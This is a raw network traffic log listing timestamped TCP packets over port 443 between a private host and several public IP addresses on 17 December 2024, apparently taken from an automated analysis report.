Dec 17, 2024 22:24:46.376189947 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.386226892 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.386600971 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.390623093 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.390678883 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:46.390687943 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.391987085 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.392045975 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.392052889 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.398713112 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.398785114 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:46.398793936 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.399867058 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.399923086 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.399930000 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.406677961 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.406755924 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:46.406764030 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.407847881 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.407896042 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.407902956 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.414756060 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.414825916 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:46.414833069 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.423643112 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.423779011 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.423841953 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.423850060 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.423892021 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.430717945 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.430761099 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.430793047 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:46.430800915 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.430845976 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:46.431583881 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.438677073 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.439475060 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.439538002 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.439547062 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.445621967 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.445696115 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.445703030 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.446676970 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.446729898 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:46.446737051 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.454746008 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.454809904 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:46.454818010 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.462445974 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.462510109 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:46.462517023 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.471656084 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.471724033 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.471735001 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.515885115 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:46.515886068 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.515907049 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.515921116 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.563888073 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:46.563888073 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.565164089 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.567567110 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.567631006 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.567640066 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.571557045 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.571626902 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.571635008 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.576658010 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.576719046 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.576728106 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.578830004 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.581295967 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.581357002 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:46.581366062 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.581706047 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.581770897 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.581779003 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.586366892 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.586405993 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.586429119 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:46.586437941 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.586488962 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:46.586498022 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.586527109 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.586575031 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:46.586798906 CET	49726	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:46.586817980 CET	443	49726	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.590943098 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.591008902 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.591016054 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.623423100 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.623435020 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.623473883 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.623496056 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.623570919 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.623584986 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.623595953 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.623631001 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.623641014 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.687371016 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.687395096 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.687438011 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.687458038 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.687477112 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.687489986 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.687504053 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.687517881 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.687536001 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.729091883 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:46.729130983 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.729217052 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:46.729484081 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:46.729500055 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:46.769004107 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.769057989 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.769205093 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.769206047 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.769246101 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.769309044 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.791887999 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.791934013 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.791994095 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.792002916 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.792037010 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.792057037 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.813407898 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.813451052 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.813518047 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.813556910 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.813575983 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.813610077 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.825963020 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.826006889 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.826077938 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.826092958 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.826121092 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.826153040 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.841314077 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.841361046 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.841413975 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.841432095 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.841454983 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.841490984 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.865211010 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.865256071 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.865310907 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.865339994 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.865355968 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.865398884 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.955534935 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.955625057 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.955650091 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.955662966 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.955701113 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.955719948 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.967209101 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.967252016 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.967291117 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.967297077 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.967328072 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.967345953 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.978559017 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.978607893 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.978637934 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.978651047 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.978678942 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.978692055 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.993139982 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.993189096 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.993225098 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.993232965 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.993282080 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.993300915 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.994128942 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.994210958 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.994218111 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.994324923 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:46.994381905 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.994625092 CET	49727	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:46.994637012 CET	443	49727	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:47.137398958 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:47.137438059 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:47.137526035 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:47.137717009 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:47.137731075 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:47.511079073 CET	49731	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:47.511131048 CET	443	49731	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:47.511219978 CET	49731	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:47.511635065 CET	49731	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:47.511648893 CET	443	49731	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:47.948424101 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:47.948765993 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:47.948785067 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:47.949666023 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:47.949743986 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:47.950150967 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:47.950208902 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:47.950309038 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:47.950318098 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.002803087 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:48.348159075 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:48.348572016 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:48.348598003 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:48.350172997 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:48.350246906 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:48.350639105 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:48.350748062 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:48.350811958 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:48.350819111 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:48.401294947 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.401339054 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.401365042 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.401390076 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.401422024 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.401483059 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:48.401483059 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:48.401501894 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.401549101 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:48.402796984 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:48.409497976 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.417819023 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.417879105 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:48.417890072 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.426280975 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.426429987 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:48.426440001 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.481885910 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:48.520991087 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.561877966 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:48.593153000 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.595673084 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.595844030 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:48.595854998 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.603581905 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.603636980 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:48.603646040 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.617818117 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.617917061 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:48.617924929 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.625899076 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.625926018 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.625967979 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:48.625977993 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.626029968 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:48.633779049 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.641664982 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.641716957 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:48.641726017 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.649713993 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.649772882 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:48.649781942 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.657716036 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.657797098 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:48.657805920 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.664212942 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.664268970 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:48.664278030 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.704783916 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:48.704792023 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.728873968 CET	443	49731	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:48.729305983 CET	49731	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:48.729368925 CET	443	49731	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:48.730423927 CET	443	49731	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:48.730518103 CET	49731	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:48.731692076 CET	49731	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:48.731724977 CET	49731	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:48.731760025 CET	443	49731	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:48.731828928 CET	49731	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:48.731859922 CET	443	49731	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:48.731887102 CET	49731	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:48.731920958 CET	49731	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:48.732284069 CET	49732	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:48.732364893 CET	443	49732	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:48.732445955 CET	49732	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:48.732760906 CET	49732	443	192.168.2.16	104.21.16.1
Dec 17, 2024 22:24:48.732794046 CET	443	49732	104.21.16.1	192.168.2.16
Dec 17, 2024 22:24:48.752773046 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:48.782793999 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:48.785283089 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.787583113 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.787688017 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:48.787708998 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.792287111 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.792309999 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.792351961 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:48.792371035 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.792407990 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.792426109 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:48.792460918 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:48.792598009 CET	49728	443	192.168.2.16	104.17.24.14
Dec 17, 2024 22:24:48.792613029 CET	443	49728	104.17.24.14	192.168.2.16
Dec 17, 2024 22:24:48.832932949 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:48.902821064 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:48.902858019 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:48.902877092 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:48.902928114 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:48.902951002 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:48.902971983 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:48.903040886 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:48.903076887 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:48.903076887 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:48.903076887 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:48.903095961 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:48.903152943 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.017087936 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.017160892 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.017277002 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.017328024 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.017362118 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.017405033 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.057651043 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.057701111 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.057774067 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.057792902 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.057821989 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.057846069 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.183123112 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.183173895 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.183233976 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.183264017 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.183291912 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.183331013 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.211357117 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.211397886 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.211461067 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.211474895 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.211502075 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.211536884 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.237706900 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.237749100 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.237811089 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.237824917 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.237854004 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.237894058 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.300383091 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.300432920 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.300517082 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.300517082 CET	49730	443	192.168.2.16	151.101.194.137
Dec 17, 2024 22:24:49.300538063 CET	443	49730	151.101.194.137	192.168.2.16
Dec 17, 2024 22:24:49.300596952 CET	49730	443	192.168.2.16	151.101.194.137
